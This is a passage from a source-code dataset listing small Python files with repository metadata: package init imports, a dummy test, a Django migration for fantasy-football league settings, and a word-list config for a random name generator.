self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = [ 1, Exception ] self.zmq.Context.instance.return_value.socket.return_value.recv_json.side_effect = [{ 'function' : 'hello', 'args' : [], 'kwargs' : { 'name' : 'TestScript' } }, Exception ] with self.assertRaises(Exception): main() self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({ 'ret' : "Hello, TestScript" })

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2,763

24,206

5.025697

0.109663

0.098228

0.055452

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0.010256

0.025641

0.010256

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0.002564

0

null

0

1

0

null

0

5

8be97f4a3a8fb1649de50f8d8ff28616b0f3efae

57

py

Python

ima/__init__.py

Imagenipulation/ima.py

e96f681c9a299a6b47482684d256f9616819eaa7

[ "MIT" ]

null

ima/__init__.py

Imagenipulation/ima.py

e96f681c9a299a6b47482684d256f9616819eaa7

[ "MIT" ]

null

ima/__init__.py

Imagenipulation/ima.py

e96f681c9a299a6b47482684d256f9616819eaa7

[ "MIT" ]

null

from .core import __version__ from .client import Client

19

29

0.824561

8

57

5.375

0.625

0

0.140351

57

2

30

28.5

0.877551

0

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true

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0

1

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0

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1

0

null

0

1

0

1

0

1

0

5

47570b2e24c40344886e4c88ca83c3b9cbdec7df

155

py

Python

inferiot/__init__.py

prafulmaka/inferIoT

fdd80f39d4a3158bfb0c22ccf9b59d04d4577ced

[ "MIT" ]

3

2020-12-06T01:03:59.000Z

2021-02-11T08:20:21.000Z

inferiot/__init__.py

prafulmaka/inferIoT

fdd80f39d4a3158bfb0c22ccf9b59d04d4577ced

[ "MIT" ]

null

inferiot/__init__.py

prafulmaka/inferIoT

fdd80f39d4a3158bfb0c22ccf9b59d04d4577ced

[ "MIT" ]

1

2020-12-05T23:08:37.000Z

"""inferiot - Python facade for connecting to Smarthub's Infer IOT center""" import inferiot.iotclient as inferiot __version__ = '1.0' import inferiot

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0

0.666667

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1

0

1

0

null

0

1

0

1

0

5

477e80ed9f6ecfd7f85b09451b559e2776e308c7

53

py

Python

python-helloworld/message.py

IvolksI/DO288-apps

805839b7487fb42dc5d4eb6c559decb1a86c0ae7

[ "Apache-2.0" ]

null

python-helloworld/message.py

IvolksI/DO288-apps

805839b7487fb42dc5d4eb6c559decb1a86c0ae7

[ "Apache-2.0" ]

null

python-helloworld/message.py

IvolksI/DO288-apps

805839b7487fb42dc5d4eb6c559decb1a86c0ae7

[ "Apache-2.0" ]

null

print("buil hook output") print("Hello from script")

17.666667

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4.875

0.875

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null

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5

47ae0046264094acec6b933b37cdc1ebc00d8d46

196

py

Python

bilibili/__init__.py

96bearli/bili-auto-note

51d8467cd301ef95f90bb5a31c523218d8b5393b

[ "MIT" ]

3

2022-03-21T01:51:01.000Z

2022-03-26T06:25:12.000Z

bilibili/__init__.py

96bearli/bili-auto-note

51d8467cd301ef95f90bb5a31c523218d8b5393b

[ "MIT" ]

2

2022-03-22T04:21:24.000Z

2022-03-28T03:59:01.000Z

bilibili/__init__.py

96bearli/bili-auto-note

51d8467cd301ef95f90bb5a31c523218d8b5393b

[ "MIT" ]

1

2022-03-21T02:10:25.000Z

from .agent import BilibiliAgent from .timeline import Timeline, TimelineItem from .bilibili_note_helper import BilibiliNoteHelper, VideoPartInfo from .timeline_converter import TimelineConverter

39.2

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5

47dc7d5a5e563d9645d932ece5b9e00b6403861e

58

py

Python

sandbox/basket/models.py

Bastilla123/shop2

b2a7ded5b39d0228fadfdb1c9e1fbd3ab0e4cfba

[ "BSD-3-Clause" ]

14

2018-01-08T12:50:10.000Z

2021-12-26T18:38:14.000Z

sandbox/basket/models.py

Bastilla123/shop2

b2a7ded5b39d0228fadfdb1c9e1fbd3ab0e4cfba

[ "BSD-3-Clause" ]

12

2021-12-01T11:05:47.000Z

2022-03-01T11:06:09.000Z

sandbox/basket/models.py

Bastilla123/shop2

b2a7ded5b39d0228fadfdb1c9e1fbd3ab0e4cfba

[ "BSD-3-Clause" ]

4

2019-04-09T17:29:34.000Z

2020-06-07T14:46:23.000Z

from oscar.apps.basket.models import * # noqa isort:skip

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5

9a1cc18c8185cbf32d4b99240eee757f92f249d9

102

py

Python

test_dummy.py

Midnighter/travis-osx-python

8224faf7922ddf14b4c5600d1691506da6674851

[ "Apache-2.0" ]

null

test_dummy.py

Midnighter/travis-osx-python

8224faf7922ddf14b4c5600d1691506da6674851

[ "Apache-2.0" ]

null

test_dummy.py

Midnighter/travis-osx-python

8224faf7922ddf14b4c5600d1691506da6674851

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """Dummy tests.""" def test_dummy(): assert True

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9a3b3cc2c3782ef39d66272e9819864dd31b5c21

32

py

Python

tests/src/TNB/mklaren/kernel/__init__.py

bellwethers-in-se/issueCloseTime

e5e00c9625da0793dc8e7985fd88b0ca0b35f7d3

[ "MIT" ]

9

2017-07-27T10:32:48.000Z

2021-07-01T11:51:51.000Z

tests/src/TNB/mklaren/kernel/__init__.py

bellwethers-in-se/issueCloseTime

e5e00c9625da0793dc8e7985fd88b0ca0b35f7d3

[ "MIT" ]

11

2016-03-15T16:27:47.000Z

2019-09-05T02:25:08.000Z

tests/src/TNB/mklaren/kernel/__init__.py

bellwethers-in-se/issueCloseTime

e5e00c9625da0793dc8e7985fd88b0ca0b35f7d3

[ "MIT" ]

5

2017-01-28T22:45:34.000Z

2019-12-04T13:15:10.000Z

import kernel import kinterface

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5

9a64d2dd9b31f6b0d39c12c41183baec7fa691b5

7,219

py

Python

football/migrations/0002_auto_20200918_2149.py

mikiereed/fantaSheets

1565abf23ac7c7aa5905a3a687438d0d985a3990

[ "MIT" ]

null

football/migrations/0002_auto_20200918_2149.py

mikiereed/fantaSheets

1565abf23ac7c7aa5905a3a687438d0d985a3990

[ "MIT" ]

2

2020-10-14T02:22:00.000Z

2020-10-19T21:54:11.000Z

football/migrations/0002_auto_20200918_2149.py

mikiereed/fantaSheets

1565abf23ac7c7aa5905a3a687438d0d985a3990

[ "MIT" ]

null

# Generated by Django 3.1 on 2020-09-19 04:49 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('football', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='leaguesettings', options={'ordering': ('title',), 'verbose_name_plural': 'League Settings'}, ), migrations.AlterField( model_name='leaguesettings', name='league_hosting_site', field=models.CharField(choices=[('espn', 'ESPN'), ('yahoo', 'Yahoo'), ('other', 'Other')], max_length=20, verbose_name='Hosting Site'), ), migrations.AlterField( model_name='leaguesettings', name='number_of_teams', field=models.IntegerField(verbose_name='Number of Teams'), ), migrations.AlterField( model_name='leaguesettings', name='passing_interceptions', field=models.FloatField(verbose_name='Points Per Interception'), ), migrations.AlterField( model_name='leaguesettings', name='passing_touchdowns', field=models.FloatField(verbose_name='Points Per Passing Touchdown'), ), migrations.AlterField( model_name='leaguesettings', name='passing_two_point_conversions', field=models.FloatField(verbose_name='Points Per Passing Two Point Conversion'), ), migrations.AlterField( model_name='leaguesettings', name='passing_yards', field=models.FloatField(verbose_name='Points Per Passing Yard'), ), migrations.AlterField( model_name='leaguesettings', name='roster_bench_spots', field=models.IntegerField(verbose_name='Bench Spots'), ), migrations.AlterField( model_name='leaguesettings', name='roster_cornerbacks', field=models.IntegerField(verbose_name='Cornerbacks'), ), migrations.AlterField( model_name='leaguesettings', name='roster_defensive_backs', field=models.IntegerField(verbose_name='Defensive Backs'), ), migrations.AlterField( model_name='leaguesettings', name='roster_defensive_ends', field=models.IntegerField(verbose_name='Defensive Ends'), ), migrations.AlterField( model_name='leaguesettings', name='roster_defensive_lines', field=models.IntegerField(verbose_name='Defensive Lines'), ), migrations.AlterField( model_name='leaguesettings', name='roster_defensive_players', field=models.IntegerField(verbose_name='Defensive Players'), ), migrations.AlterField( model_name='leaguesettings', name='roster_defensive_tackles', field=models.IntegerField(default=0, verbose_name='Defensive Tackles'), ), migrations.AlterField( model_name='leaguesettings', name='roster_edge_rushers', field=models.IntegerField(verbose_name='Edge Rushers'), ), migrations.AlterField( model_name='leaguesettings', name='roster_flex_running_back_wide_receiver', field=models.IntegerField(verbose_name='Flex RB/WR'), ), migrations.AlterField( model_name='leaguesettings', name='roster_flex_running_back_wide_receiver_tight_end', field=models.IntegerField(verbose_name='Flex RB/WR/TE'), ), migrations.AlterField( model_name='leaguesettings', name='roster_flex_wide_receiver_tight_end', field=models.IntegerField(verbose_name='Flex WR/TE'), ), migrations.AlterField( model_name='leaguesettings', name='roster_head_coaches', field=models.IntegerField(verbose_name='Head Coaches'), ), migrations.AlterField( model_name='leaguesettings', name='roster_injured_reserve_spots', field=models.IntegerField(verbose_name='Injured Reserve Spots'), ), migrations.AlterField( model_name='leaguesettings', name='roster_kickers', field=models.IntegerField(verbose_name='Kickers'), ), migrations.AlterField( model_name='leaguesettings', name='roster_linebackers', field=models.IntegerField(verbose_name='Linebackers'), ), migrations.AlterField( model_name='leaguesettings', name='roster_offensive_players', field=models.IntegerField(verbose_name='Offensive Players'), ), migrations.AlterField( model_name='leaguesettings', name='roster_punters', field=models.IntegerField(verbose_name='Punters'), ), migrations.AlterField( model_name='leaguesettings', name='roster_quarterbacks', field=models.IntegerField(verbose_name='Quarterbacks'), ), migrations.AlterField( model_name='leaguesettings', name='roster_running_backs', field=models.IntegerField(verbose_name='Running Backs'), ), migrations.AlterField( model_name='leaguesettings', name='roster_safeties', field=models.IntegerField(verbose_name='Safeties'), ), migrations.AlterField( model_name='leaguesettings', name='roster_team_defense_special_teams', field=models.IntegerField(verbose_name='Defense / Special Teams'), ), migrations.AlterField( model_name='leaguesettings', name='roster_team_quarterbacks', field=models.IntegerField(verbose_name='Team Quarterbacks'), ), migrations.AlterField( model_name='leaguesettings', name='roster_tight_ends', field=models.IntegerField(verbose_name='Tight Ends'), ), migrations.AlterField( model_name='leaguesettings', name='roster_wide_receivers', field=models.IntegerField(verbose_name='Wide Receivers'), ), migrations.AlterField( model_name='leaguesettings', name='rushing_touchdowns', field=models.FloatField(verbose_name='Points Per Rushing Touchdown'), ), migrations.AlterField( model_name='leaguesettings', name='rushing_two_point_conversions', field=models.FloatField(verbose_name='Points Per Rushing Two Point Conversion'), ), migrations.AlterField( model_name='leaguesettings', name='rushing_yards', field=models.FloatField(verbose_name='Points Per Rushing Yard'), ), migrations.AlterField( model_name='leaguesettings', name='title', field=models.CharField(max_length=50, verbose_name='fantaSheet Name'), ), ]

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9a6f72c8e4b99794bb422168294c0e5cad07c46d

69

py

Python

PokeUtils/__init__.py

carlossilva2/Poketext

cc1cec77460cdabe4d5400ee2a7ad5b8b0fc0d08

[ "MIT" ]

null

PokeUtils/__init__.py

carlossilva2/Poketext

cc1cec77460cdabe4d5400ee2a7ad5b8b0fc0d08

[ "MIT" ]

null

PokeUtils/__init__.py

carlossilva2/Poketext

cc1cec77460cdabe4d5400ee2a7ad5b8b0fc0d08

[ "MIT" ]

null

from .Pokemon import * from .PokeUtils import * from .PokeDB import *

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d04633928d83f093fe59df34c7a5cc1ba6bafc69

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py

Python

.venv/lib/python3.8/site-packages/coolname/data/__init__.py

jamesonl/hit-and-blow

232bbfd76cc4fe4a2153a26f3fed6bfa6414bb99

[ "MIT" ]

null

.venv/lib/python3.8/site-packages/coolname/data/__init__.py

jamesonl/hit-and-blow

232bbfd76cc4fe4a2153a26f3fed6bfa6414bb99

[ "MIT" ]

null

.venv/lib/python3.8/site-packages/coolname/data/__init__.py

jamesonl/hit-and-blow

232bbfd76cc4fe4a2153a26f3fed6bfa6414bb99

[ "MIT" ]

null

# THIS FILE IS AUTO-GENERATED, DO NOT EDIT config = {'all': {'comment': 'Entry point', 'type': 'nested', 'lists': ['2', '3', '4'], 'ensure_unique': True, 'ensure_unique_prefix': 4, 'max_slug_length': 50}, '2': {'comment': 'Two words (may also contain prepositions)', 'type': 'nested', 'lists': ['an']}, '3': {'comment': 'Three words (may also contain prepositions)', 'type': 'nested', 'lists': ['aan', 'ano', 'anl', 'nuo', 'as2', 's2o', 's2l', 'sl2']}, '4': {'comment': 'Four words (may also contain prepositions)', 'type': 'nested', 'lists': ['aano', 'aanl', 'anuo', 'as2o', 's2uo', 'as2l', 'asl2']}, 'an': {'comment': 'adjective-noun', 'type': 'cartesian', 'lists': ['adj_any', 'subj']}, 'aan': {'comment': 'adjective-adjective-noun', 'type': 'cartesian', 'lists': ['adj_far', 'adj_near', 'subj']}, 'ano': {'comment': 'adjective-noun-of-noun', 'type': 'cartesian', 'lists': ['adj_any', 'subj', 'of', 'of_noun_any']}, 'anl': {'comment': 'adjective-noun-from-location', 'type': 'cartesian', 'lists': ['adj_any', 'subj', 'from', 'from_noun_no_mod']}, 'nuo': {'comment': 'noun-of-adjective-noun', 'type': 'cartesian', 'lists': ['subj', 'of', 'of_modifier', 'of_noun']}, 'as2': {'comment': 'adjective-2word-subject', 'type': 'cartesian', 'lists': ['adj_far', 'subj2']}, 's2o': {'comment': '2word-subject-of-noun', 'type': 'cartesian', 'lists': ['subj2', 'of', 'of_noun_any']}, 's2l': {'comment': '2word-subject-from-location', 'type': 'cartesian', 'lists': ['subj2', 'from', 'from_noun_no_mod']}, 'sl2': {'comment': 'subject-from-some-location', 'type': 'cartesian', 'lists': ['subj', 'from', 'from2']}, 'aano': {'comment': 'adjective-adjective-noun-of-noun', 'type': 'cartesian', 'lists': ['adj_far', 'adj_near', 'subj', 'of', 'of_noun_any']}, 'aanl': {'comment': 'adjective-adjective-noun-from-location', 'type': 'cartesian', 'lists': ['adj_far', 'adj_near', 'subj', 'from', 'from_noun_no_mod']}, 'anuo': {'comment': 'adjective-noun-of-adjective-noun', 'type': 'cartesian', 'lists': ['adj_any', 'subj', 'of', 'of_modifier', 'of_noun']}, 'as2o': {'comment': 'adjective-2word-subject-of-noun', 'type': 'cartesian', 'lists': ['adj_far', 'subj2', 'of', 'of_noun_any']}, 's2uo': {'comment': 'adjective-2word-subject-of-adjective-noun', 'type': 'cartesian', 'lists': ['subj2', 'of', 'of_modifier', 'of_noun']}, 'as2l': {'comment': 'adjective-2word-subject-from-location', 'type': 'cartesian', 'lists': ['adj_far', 'subj2', 'from', 'from_noun_no_mod']}, 'asl2': {'comment': 'adjective-subject-from-some-location', 'type': 'cartesian', 'lists': ['adj_any', 'subj', 'from', 'from2']}, 'adj_far': {'comment': 'First adjective (with more following)', 'type': 'nested', 'lists': ['adjective', 'adjective_first', 'noun_adjective', 'size']}, 'adj_near': {'comment': 'Last adjective (closest to the subject)', 'type': 'nested', 'lists': ['adjective', 'color', 'noun_adjective', 'prefix']}, 'adj_any': {'comment': 'The only adjective (includes everything)', 'type': 'nested', 'lists': ['adjective', 'color', 'noun_adjective', 'prefix', 'size']}, 'subj': {'comment': 'The subject (animal)', 'type': 'nested', 'lists': ['animal', 'animal_breed', 'animal_legendary']}, 'of': {'type': 'const', 'value': 'of'}, 'of_noun_any': {'type': 'nested', 'lists': ['of_noun', 'of_noun_no_mod']}, 'from': {'type': 'const', 'value': 'from'}, 'from_noun_no_mod': {'type': 'words', 'words': ['venus', 'mars', 'jupiter', 'ganymede', 'saturn', 'uranus', 'neptune', 'pluto', 'betelgeuse', 'sirius', 'vega', 'arcadia', 'asgard', 'atlantis', 'avalon', 'camelot', 'eldorado', 'heaven', 'hell', 'hyperborea', 'lemuria', 'nibiru', 'shambhala', 'tartarus', 'valhalla', 'wonderland']}, 'prefix': {'type': 'words', 'words': ['giga', 'mega', 'micro', 'mini', 'nano', 'pygmy', 'super', 'uber', 'ultra', 'cyber', 'mutant', 'ninja', 'space'], 'max_length': 13}, 'of_modifier': {'type': 'words', 'words': ['absolute', 'abstract', 'algebraic', 'amazing', 'amusing', 'ancient', 'angelic', 'astonishing', 'authentic', 'awesome', 'beautiful', 'classic', 'delightful', 'demonic', 'eminent', 'enjoyable', 'eternal', 'excellent', 'exotic', 'extreme', 'fabulous', 'famous', 'fantastic', 'fascinating', 'flawless', 'fortunate', 'glorious', 'great', 'heavenly', 'holistic', 'hypothetical', 'ideal', 'illegal', 'imaginary', 'immense', 'imminent', 'immortal', 'impossible', 'impressive', 'improbable', 'incredible', 'inescapable', 'inevitable', 'infinite', 'inspiring', 'interesting', 'legal', 'magic', 'majestic', 'major', 'marvelous', 'massive', 'mysterious', 'nonconcrete', 'nonstop', 'luxurious', 'optimal', 'original', 'pastoral', 'perfect', 'perpetual', 'phenomenal', 'pleasurable', 'pragmatic', 'premium', 'radical', 'rampant', 'regular', 'remarkable', 'satisfying', 'serious', 'scientific', 'sexy', 'sheer', 'simple', 'silent', 'spectacular', 'splendid', 'stereotyped', 'stimulating', 'strange', 'striking', 'strongest', 'sublime', 'sudden', 'terrific', 'therapeutic', 'total', 'ultimate', 'uncanny', 'undeniable', 'unearthly', 'unexpected', 'unknown', 'unmatched', 'unnatural', 'unreal', 'unusual', 'utter', 'weird', 'wonderful', 'wondrous'], 'max_length': 13}, 'animal_breed': {'type': 'words', 'words': ['longhorn', 'akita', 'beagle', 'bloodhound', 'bulldog', 'chihuahua', 'collie', 'corgi', 'dalmatian', 'doberman', 'husky', 'labradoodle', 'labrador', 'mastiff', 'malamute', 'mongrel', 'poodle', 'rottweiler', 'spaniel', 'terrier', 'mule', 'mustang', 'pony', 'angora'], 'max_length': 13}, 'size': {'type': 'words', 'words': ['big', 'colossal', 'enormous', 'gigantic', 'great', 'huge', 'hulking', 'humongous', 'large', 'little', 'massive', 'miniature', 'petite', 'portable', 'small', 'tiny', 'towering'], 'max_length': 13}, 'from2': {'type': 'phrases', 'phrases': [('fancy', 'cafe'), ('prestigious', 'college'), ('prestigious', 'university'), ('big', 'city'), ('foreign', 'country'), ('small', 'town'), ('wild', 'west'), ('ancient', 'ruins'), ('another', 'dimension'), ('another', 'planet'), ('flying', 'circus'), ('secret', 'laboratory'), ('the', 'government'), ('the', 'future'), ('the', 'past'), ('the', 'stars')], 'number_of_words': 2, 'max_length': 24}, 'of_noun_no_mod': {'type': 'words', 'words': ['chemistry', 'education', 'experiment', 'mathematics', 'psychology', 'reading', 'cubism', 'painting', 'advertising', 'agreement', 'climate', 'competition', 'effort', 'emphasis', 'foundation', 'judgment', 'memory', 'opportunity', 'perspective', 'priority', 'promise', 'teaching'], 'max_length': 13}, 'of_noun': {'type': 'words', 'words': ['anger', 'bliss', 'contentment', 'courage', 'ecstasy', 'excitement', 'faith', 'felicity', 'fury', 'gaiety', 'glee', 'glory', 'greatness', 'inspiration', 'jest', 'joy', 'happiness', 'holiness', 'love', 'merriment', 'passion', 'patience', 'peace', 'persistence', 'pleasure', 'pride', 'recreation', 'relaxation', 'romance', 'serenity', 'tranquility', 'apotheosis', 'chaos', 'energy', 'essence', 'eternity', 'excellence', 'experience', 'freedom', 'nirvana', 'order', 'perfection', 'spirit', 'variation', 'acceptance', 'brotherhood', 'criticism', 'culture', 'discourse', 'discussion', 'justice', 'piety', 'respect', 'security', 'support', 'tolerance', 'trust', 'warranty', 'abundance', 'admiration', 'assurance', 'authority', 'awe', 'certainty', 'control', 'domination', 'enterprise', 'fame', 'grandeur', 'influence', 'luxury', 'management', 'opposition', 'plenty', 'popularity', 'prestige', 'prosperity', 'reputation', 'reverence', 'reward', 'superiority', 'triumph', 'wealth', 'acumen', 'aptitude', 'art', 'artistry', 'competence', 'efficiency', 'expertise', 'finesse', 'genius', 'leadership', 'perception', 'skill', 'virtuosity', 'argument', 'debate', 'action', 'agility', 'amplitude', 'attack', 'charisma', 'chivalry', 'defense', 'defiance', 'devotion', 'dignity', 'endurance', 'exercise', 'force', 'fortitude', 'gallantry', 'health', 'honor', 'infinity', 'inquire', 'intensity', 'luck', 'mastery', 'might', 'opportunity', 'penetration', 'performance', 'pluck', 'potency', 'protection', 'prowess', 'resistance', 'serendipity', 'speed', 'stamina', 'strength', 'swiftness', 'temperance', 'tenacity', 'valor', 'vigor', 'vitality', 'will', 'advance', 'conversion', 'correction', 'development', 'diversity', 'elevation', 'enhancement', 'enrichment', 'enthusiasm', 'focus', 'fruition', 'growth', 'improvement', 'innovation', 'modernism', 'novelty', 'proficiency', 'progress', 'promotion', 'realization', 'refinement', 'renovation', 'revolution', 'success', 'tempering', 'upgrade', 'ampleness', 'completion', 'satiation', 'saturation', 'sufficiency', 'vastness', 'wholeness', 'attraction', 'beauty', 'bloom', 'cleaning', 'courtesy', 'glamour', 'elegance', 'fascination', 'kindness', 'joviality', 'politeness', 'refinement', 'symmetry', 'sympathy', 'tact', 'calibration', 'drama', 'economy', 'engineering', 'examination', 'philosophy', 'poetry', 'research', 'science', 'democracy', 'election', 'feminism', 'champagne', 'coffee', 'cookies', 'flowers', 'fragrance', 'honeydew', 'music', 'pizza', 'aurora', 'blizzard', 'current', 'dew', 'downpour', 'drizzle', 'hail', 'hurricane', 'lightning', 'rain', 'snow', 'storm', 'sunshine', 'tempest', 'thunder', 'tornado', 'typhoon', 'weather', 'wind', 'whirlwind', 'abracadabra', 'adventure', 'atheism', 'camouflage', 'destiny', 'endeavor', 'expression', 'fantasy', 'fertility', 'imagination', 'karma', 'masquerade', 'maturity', 'radiance', 'shopping', 'sorcery', 'unity', 'witchcraft', 'wizardry', 'wonder', 'youth', 'purring'], 'max_length': 13}, 'subj2': {'type': 'phrases', 'phrases': [('atlantic', 'puffin'), ('bank', 'swallow'), ('barn', 'owl'), ('barn', 'swallow'), ('barred', 'owl'), ('chimney', 'swift'), ('cliff', 'swallow'), ('emperor', 'goose'), ('harlequin', 'duck'), ('himalayan', 'snowcock'), ('hyacinth', 'macaw'), ('mangrove', 'cuckoo'), ('mute', 'swan'), ('northern', 'cardinal'), ('peregrine', 'falcon'), ('prairie', 'falcon'), ('red', 'cardinal'), ('snow', 'goose'), ('snowy', 'owl'), ('trumpeter', 'swan'), ('tufted', 'puffin'), ('whooper', 'swan'), ('whooping', 'crane'), ('fire', 'ant'), ('alpine', 'chipmunk'), ('beaked', 'whale'), ('bottlenose', 'dolphin'), ('clouded', 'leopard'), ('eared', 'seal'), ('elephant', 'seal'), ('feral', 'cat'), ('feral', 'dog'), ('feral', 'donkey'), ('feral', 'goat'), ('feral', 'horse'), ('feral', 'pig'), ('fur', 'seal'), ('grizzly', 'bear'), ('harbor', 'porpoise'), ('honey', 'badger'), ('humpback', 'whale'), ('killer', 'whale'), ('mountain', 'deer'), ('mountain', 'goat'), ('mountain', 'lion'), ('olympic', 'marmot'), ('pampas', 'deer'), ('pine', 'marten'), ('polynesian', 'rat'), ('rhesus', 'macaque'), ('river', 'dolphin'), ('sea', 'lion'), ('sea', 'otter'), ('snow', 'leopard'), ('sperm', 'whale'), ('spinner', 'dolphin'), ('vampire', 'bat'), ('gila', 'monster'), ('freshwater', 'crocodile'), ('saltwater', 'crocodile'), ('snapping', 'turtle'), ('walking', 'mushroom')], 'number_of_words': 2, 'max_length': 22}, 'adjective': {'type': 'words', 'words': ['acrid', 'ambrosial', 'amorphous', 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'garrulous', 'gay', 'gentle', 'glistening', 'greedy', 'grumpy', 'happy', 'honest', 'hopeful', 'hospitable', 'impetuous', 'independent', 'industrious', 'innocent', 'intrepid', 'jolly', 'jovial', 'just', 'lively', 'loose', 'loyal', 'merry', 'modest', 'mysterious', 'nice', 'obedient', 'optimistic', 'orthodox', 'outgoing', 'outrageous', 'overjoyed', 'passionate', 'perky', 'placid', 'polite', 'positive', 'proud', 'prudent', 'puzzling', 'quixotic', 'quizzical', 'rebel', 'resolute', 'rampant', 'righteous', 'romantic', 'rough', 'rousing', 'sassy', 'satisfied', 'sly', 'sincere', 'snobbish', 'spirited', 'spry', 'stalwart', 'stirring', 'swinging', 'tasteful', 'thankful', 'tidy', 'tremendous', 'truthful', 'unselfish', 'upbeat', 'uppish', 'valiant', 'vehement', 'vengeful', 'vigorous', 'vivacious', 'zealous', 'zippy', 'able', 'adept', 'analytic', 'astute', 'attentive', 'brainy', 'busy', 'calculating', 'capable', 'careful', 'cautious', 'certain', 'clever', 'competent', 'conscious', 'cooperative', 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'solid', 'speedy', 'steadfast', 'steady', 'strong', 'sturdy', 'tireless', 'tough', 'unyielding', 'rich', 'wealthy', 'meticulous', 'precise', 'rigorous', 'scrupulous', 'strict', 'airborne', 'burrowing', 'crouching', 'flying', 'hidden', 'hopping', 'jumping', 'lurking', 'tunneling', 'warping', 'aboriginal', 'amphibian', 'aquatic', 'arboreal', 'polar', 'terrestrial', 'urban', 'accomplished', 'astonishing', 'authentic', 'awesome', 'delectable', 'excellent', 'exotic', 'exuberant', 'fabulous', 'fantastic', 'fascinating', 'flawless', 'fortunate', 'funky', 'godlike', 'glorious', 'groovy', 'honored', 'illustrious', 'imposing', 'important', 'impressive', 'incredible', 'invaluable', 'kickass', 'majestic', 'magnificent', 'marvellous', 'monumental', 'perfect', 'phenomenal', 'pompous', 'precious', 'premium', 'private', 'remarkable', 'spectacular', 'splendid', 'successful', 'wonderful', 'wondrous', 'offbeat', 'original', 'outstanding', 'quaint', 'unique', 'ancient', 'antique', 'prehistoric', 'primitive', 'abstract', 'acoustic', 'angelic', 'arcane', 'archetypal', 'augmented', 'auspicious', 'axiomatic', 'beneficial', 'bipedal', 'bizarre', 'complex', 'dancing', 'dangerous', 'demonic', 'divergent', 'economic', 'electric', 'elite', 'eminent', 'enchanted', 'esoteric', 'finicky', 'fractal', 'futuristic', 'gainful', 'hallowed', 'heavenly', 'heretic', 'holistic', 'hungry', 'hypnotic', 'hysterical', 'illegal', 'imperial', 'imported', 'impossible', 'inescapable', 'juicy', 'liberal', 'ludicrous', 'lyrical', 'magnetic', 'manipulative', 'mature', 'military', 'macho', 'married', 'melodic', 'natural', 'naughty', 'nocturnal', 'nostalgic', 'optimal', 'pastoral', 'peculiar', 'piquant', 'pristine', 'prophetic', 'psychedelic', 'quantum', 'rare', 'real', 'secret', 'simple', 'spectral', 'spiritual', 'stereotyped', 'stimulating', 'straight', 'strange', 'tested', 'therapeutic', 'true', 'ubiquitous', 'uncovered', 'unnatural', 'utopian', 'vagabond', 'vague', 'vegan', 'victorious', 'vigilant', 'voracious', 'wakeful', 'wandering', 'watchful', 'wild', 'bright', 'brilliant', 'colorful', 'crystal', 'dark', 'dazzling', 'fluorescent', 'glittering', 'glossy', 'gleaming', 'light', 'mottled', 'neon', 'opalescent', 'pastel', 'smoky', 'sparkling', 'spotted', 'striped', 'translucent', 'transparent', 'vivid'], 'max_length': 13}, 'animal': {'type': 'words', 'words': ['earthworm', 'leech', 'worm', 'scorpion', 'spider', 'tarantula', 'barnacle', 'crab', 'crayfish', 'lobster', 'pillbug', 'prawn', 'shrimp', 'ant', 'bee', 'beetle', 'bug', 'bumblebee', 'butterfly', 'caterpillar', 'cicada', 'cricket', 'dragonfly', 'earwig', 'firefly', 'grasshopper', 'honeybee', 'hornet', 'inchworm', 'ladybug', 'locust', 'mantis', 'mayfly', 'mosquito', 'moth', 'sawfly', 'silkworm', 'termite', 'wasp', 'woodlouse', 'centipede', 'millipede', 'pronghorn', 'antelope', 'bison', 'buffalo', 'bull', 'chamois', 'cow', 'gazelle', 'gaur', 'goat', 'ibex', 'impala', 'kudu', 'markhor', 'mouflon', 'muskox', 'nyala', 'sheep', 'wildebeest', 'yak', 'zebu', 'alpaca', 'camel', 'llama', 'vicugna', 'caribou', 'chital', 'deer', 'elk', 'moose', 'pudu', 'reindeer', 'sambar', 'wapiti', 'beluga', 'dolphin', 'narwhal', 'orca', 'porpoise', 'whale', 'donkey', 'horse', 'stallion', 'zebra', 'giraffe', 'okapi', 'hippo', 'rhino', 'boar', 'hog', 'pig', 'swine', 'warthog', 'peccary', 'buzzard', 'eagle', 'goshawk', 'harrier', 'hawk', 'vulture', 'duck', 'goose', 'swan', 'teal', 'bird', 'hummingbird', 'swift', 'kiwi', 'potoo', 'seriema', 'cassowary', 'emu', 'condor', 'auk', 'avocet', 'guillemot', 'kittiwake', 'puffin', 'seagull', 'skua', 'stork', 'dodo', 'dove', 'pigeon', 'kingfisher', 'tody', 'bustard', 'coua', 'coucal', 'cuckoo', 'koel', 'malkoha', 'roadrunner', 'kagu', 'caracara', 'falcon', 'kestrel', 'chachalaca', 'chicken', 'curassow', 'grouse', 'guan', 'junglefowl', 'partridge', 'peacock', 'pheasant', 'quail', 'rooster', 'turkey', 'loon', 'coot', 'crane', 'turaco', 'hoatzin', 'bullfinch', 'crow', 'jackdaw', 'jaybird', 'finch', 'lyrebird', 'magpie', 'myna', 'nightingale', 'nuthatch', 'oriole', 'oxpecker', 'raven', 'robin', 'rook', 'skylark', 'sparrow', 'starling', 'swallow', 'waxbill', 'wren', 'heron', 'ibis', 'jacamar', 'piculet', 'toucan', 'toucanet', 'woodpecker', 'flamingo', 'grebe', 'albatross', 'fulmar', 'petrel', 'spoonbill', 'ara', 'cockatoo', 'kakapo', 'lorikeet', 'macaw', 'parakeet', 'parrot', 'penguin', 'ostrich', 'boobook', 'owl', 'booby', 'cormorant', 'frigatebird', 'pelican', 'quetzal', 'trogon', 'axolotl', 'bullfrog', 'frog', 'newt', 'salamander', 'toad', 'angelfish', 'barracuda', 'carp', 'catfish', 'dogfish', 'goldfish', 'guppy', 'eel', 'flounder', 'herring', 'lionfish', 'mackerel', 'oarfish', 'perch', 'salmon', 'seahorse', 'sturgeon', 'sunfish', 'tench', 'trout', 'tuna', 'wrasse', 'sawfish', 'shark', 'stingray', 'jellyfish', 'alligator', 'caiman', 'crocodile', 'gharial', 'starfish', 'urchin', 'hedgehog', 'coyote', 'dingo', 'dog', 'fennec', 'fox', 'hound', 'jackal', 'tanuki', 'wolf', 'bobcat', 'caracal', 'cat', 'cougar', 'jaguar', 'jaguarundi', 'leopard', 'lion', 'lynx', 'manul', 'ocelot', 'panther', 'puma', 'serval', 'smilodon', 'tiger', 'wildcat', 'aardwolf', 'binturong', 'cheetah', 'civet', 'fossa', 'hyena', 'meerkat', 'mongoose', 'badger', 'coati', 'ermine', 'ferret', 'marten', 'mink', 'otter', 